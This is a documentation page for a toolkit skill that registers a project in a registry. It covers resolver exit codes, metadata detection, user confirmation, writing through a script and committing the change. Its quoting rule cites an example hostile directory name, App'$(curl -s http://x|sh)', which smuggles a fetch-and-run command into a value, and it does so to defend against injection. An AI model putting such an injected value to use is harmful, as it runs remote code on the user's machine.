Skip to content

vt-c-project-register

Register the current project in the V025-claude-toolkit project registry. Enables toolkit-review scanning, journal aggregation via /vt-p-project-sync, and cross-project learning.

Plugin: vt-base
Category: Other
Command: /vt-c-project-register


/vt-c-project-register — Project Registration

Register the current working directory as a tracked project in the V025-claude-toolkit registry. This enables:

  • /vt-t-toolkit-review scanning for procedure improvement proposals
  • /vt-p-project-sync aggregation of journals and proposals
  • Cross-project learning and pattern detection

Invocation

/vt-c-project-register          # Interactive registration
/vt-c-project-register --check  # Check registration status only (no changes)

Execution Instructions

Step 1: Resolve the Current Project

bash ~/.claude/skills/vt-c-project-register/scripts/resolve_project.sh "$PWD"

It prints one line with fields separated by \037 — id, name, parent, domain, path, spec_folder, design_state — and exits:

Exit Meaning Action
exit 0, id V025 the V025 toolkit repository itself, or one of its worktrees Stop with: "This is the V025 toolkit repository. It is never registered — it resolves to V025 without a registry entry." Never register it — reason: the resolver already returns V025 for it without an entry, so an entry would give the toolkit a second, conflicting identity (SPEC-195 D3, D13).
exit 0, any other id, field 5 == this repository's toplevel OR its main checkout already registered (a worktree counts as its project) Step 2
exit 0, any other id, field 5 is neither, and --check given NOT registered — it sits inside a registered project (longest-prefix match) Print "This project is not registered in the toolkit (it sits inside )." and stop. Never continue to Step 3 — same reason as the exit-1 row below, and the gap was the same: Step 2's --check stop is only reached when the project IS already registered, so a --check on a NESTED repository walked straight into Step 3 and registered it (SPEC-195 review pass 11, docs H3). The exit-1 rows were split by --check and this one was not.
exit 0, any other id, field 5 is neither, no --check NOT registered — it sits inside a registered project (longest-prefix match) Step 3
exit 1 and --check given not registered, or not a git repository Print "This project is not registered in the toolkit." and stop. Never continue to Step 3 — reason: --check only reports; the --check stop in Step 2 is never reached from exit 1, so without this row a check would register the project (SPEC-195 pass 5, P5-DOC-1).
exit 1, no --check not registered, or not a git repository Step 3
exit 2 toolkit defect — registry or library missing Report "Toolkit defect: " and stop. Never register against a broken toolkit — reason: the write would go nowhere or into the wrong file.

Step 2: Check Current Registration

Exit 0 in Step 1 with field 5 equal to this repository's toplevel or to its main checkout means the project is registered.

Exit 0 alone does NOT mean THIS repository is registered: pr_match is a longest-PREFIX match, so a git repository nested inside a registered umbrella resolves with the umbrella's id and path, exit 0. Compare field 5 against BOTH this repository's own git rev-parse --path-format=absolute --show-toplevel AND its main checkout — the parent of git rev-parse --path-format=absolute --git-common-dir. Equal to either means the match IS this repository. Both comparisons are required: in a worktree the toplevel is the worktree while field 5 is the main checkout, so a toplevel-only test reads "not registered" for every worktree of every registered project and would register the same repository a second time under a second id (review pass 10, P10-DOC-1 — the id V025 row already handled "or one of its worktrees"; nothing else did). (If field 5 and the local path differ merely in spelling — case, Unicode normalisation, or an APFS firmlink — the registry writer refuses the duplicate, so that path ends in a refusal, never a second entry.) Review pass 9, P9-DOC-1: without the comparison at all, a nested repository could never be registered through any documented path.

If already registered:

This project is already registered in the toolkit.

  Id: [id, or "none (board: false)"]
  Name: [name]
  Path: [path]

No action needed.
Exit cleanly.

If --check argument provided: Display status and exit (do not proceed to Step 3).

Step 3: Detect Project Metadata

Auto-detect the following:

Field Detection Method
path $PWD
name basename $PWD
type Infer from directory contents (see below)
location Infer from path and git presence (see below)

Type inference: - Has src/ or package.json or Gemfile or Cargo.toml or go.mod or pom.xml → coding - Has .design-state.yaml with current_phase: pd-* → design - Has docs/deliverables/ or docs/ but no source code directories → knowledge - Has both source code and .design-state.yaml or PRD → mixed - Otherwise → ask user

Location inference: - Has .git/ directory → local-git - Path contains OneDrive or CloudStorage or iCloud → local-folder - Otherwise → local-folder

Step 4: Confirm with User

Use AskUserQuestion to present detected values:

Register this project in the V025 toolkit?

  Path: <current-working-directory>
  Name: [detected name]
  Type: [detected type]
  Location: [detected location]

Options: - Register — Proceed with detected values - Edit name/type — Change name or type before registering - Cancel — Do not register

If "Edit name/type": Use AskUserQuestion to let user pick the type: - coding — Software development project - design — Product design project - knowledge — Documentation, research, knowledge work - mixed — Combination of code and non-code work

Then ask for name (or accept the detected default).

Step 4b: Registry identity — id, parent, spec folder (always)

Regardless of the Step 4 answer — Register or Edit name/type — ask for the project id, the parent (sub-repositories only) and the spec folder (only when the repository declares none), exactly as ~/.claude/skills/vt-c-project-register/references/registry-item-prompt.md describes. The writer refuses an item without --id (unless --board false), so a registration that skips this step fails in Step 5 every time. Show the id the user chose before writing.

Step 5: Write Registration

Write through the registry writer, following references/registry-item-prompt.md for its exit codes (0 written; 3 refused → re-ask a value-level refusal, stop on a terminal one — the reference's exit table says which is which; 2 toolkit defect → stop):

bash ~/.claude/skills/vt-c-project-register/scripts/registry_write.sh add \
  --path "$PWD" --name '[PROJECT_NAME]' --type '[PROJECT_TYPE]' --location '[LOCATION]' \
  --id '[ID]' --parent '[PARENT]' --domain '[DOMAIN]' --spec-root '[SPEC_ROOT]'

Quoting — state it here, do not follow the link for it. Put every literal value in single quotes, and refuse to run the command if any value contains a ' — stop and ask instead. Reason: the name is the directory's basename, chosen by whoever created the directory, so a directory called App'$(curl -s http://x|sh)' closes the quote and the substitution runs as you. --path "$PWD" is the one exception: the output of a variable expansion is never re-parsed, so it is safe in double quotes. This rule is repeated in full at each writer call site on purpose.

Omit every flag whose value is empty; a private project gets --board false instead of --id. The writer appends - path: first with registered: (today) and last_synced: null. Never edit intake/projects.yaml by hand — reason: the writer validates the id, the parent and the spec folder, and a hand-written item without an id turns the id guard red.

Step 5b: Record the write — announce always, commit when safe (BUG-251)

This step writes into a different repository from the caller's working directory: $TOOLKIT_ROOT is the toolkit checkout, on whatever branch it happens to be sitting on. Nobody in this session owns that repo's git state, so without this step the registration is left as an uncommitted edit there and the next routine git operation destroys it.

MEASURED (BUG-251): five restorations of intake/projects.yaml and .beads/issues.jsonl in two months, twice on one day. The loss leaves no trace — committed size only ever rises, so no loss event was ever committed. TOOLKIT_ROOT is the toolkit checkout the deployed skill link points into. The stub below derives that checkout from its own physical location — never from the project's cwd, and never by hand (one .. too few silently reported "nothing to record" for two review passes):

bash ~/.claude/skills/vt-c-project-register/scripts/commit-registry-write.sh \
  "chore(intake): register a project (BUG-251)"

The subject is a constant on purpose: the project name would sit inside double quotes, where $(…) in a directory name runs before the script ever sees it — the single-quote rule of Step 5 cannot protect this line. Show the script's output to the user verbatim. Announcing is the load-bearing half: git reset --hard has no hook and git has no pre-checkout hook, so nothing can detect this loss after the fact. When the script refuses to commit — the checkout is on main, on a detached HEAD, or mid-merge — it says so and states the risk, which is what turns a silent loss into a stated one. Never suppress that message, and never "helpfully" commit on main yourself.

Step 6: Create Project Infrastructure

In the project directory:

mkdir -p docs/toolkit-proposals

If docs/toolkit-proposals/.gitkeep does not exist, create it:

touch docs/toolkit-proposals/.gitkeep

Step 7: Confirm Registration

Project registered successfully.

  Name: [name]
  Type: [type]
  Location: [location]

What this enables:
  - /vt-t-toolkit-review will scan docs/toolkit-proposals/ for improvement proposals
  - /vt-p-project-sync will aggregate journals and proposals to V025
  - /vt-c-journal entries marked as "process observation" will flow to V025 intake

Next: Continue with your current workflow.

Edge Cases

Scenario Handling
Toolkit not found at expected path resolve_project.sh exits 2 (or is missing): report a toolkit defect, do not fail silently
Run inside the toolkit repository or one of its worktrees Resolver returns id V025: refuse and stop (D13); registry_write.sh refuses it as well
Project already registered Show status, exit cleanly
Non-git project already registered The resolver exits 1 for a non-git folder; registry_write.sh add refuses the duplicate path with exit 3 — show that and stop
Path contains spaces Use quoted paths in all bash operations
Non-git project (OneDrive) Set location: local-folder, skip git-related checks
User cancels Exit cleanly, no changes made

Integration Points

Skill Relationship
/vt-d-scaffold Also registers projects (during initial scaffolding via /0-init)
/vt-t-toolkit-review Scans registered projects for docs/toolkit-proposals/
/vt-p-project-sync Aggregates from all registered projects
/vt-c-journal Routes process observations to V025 for registered projects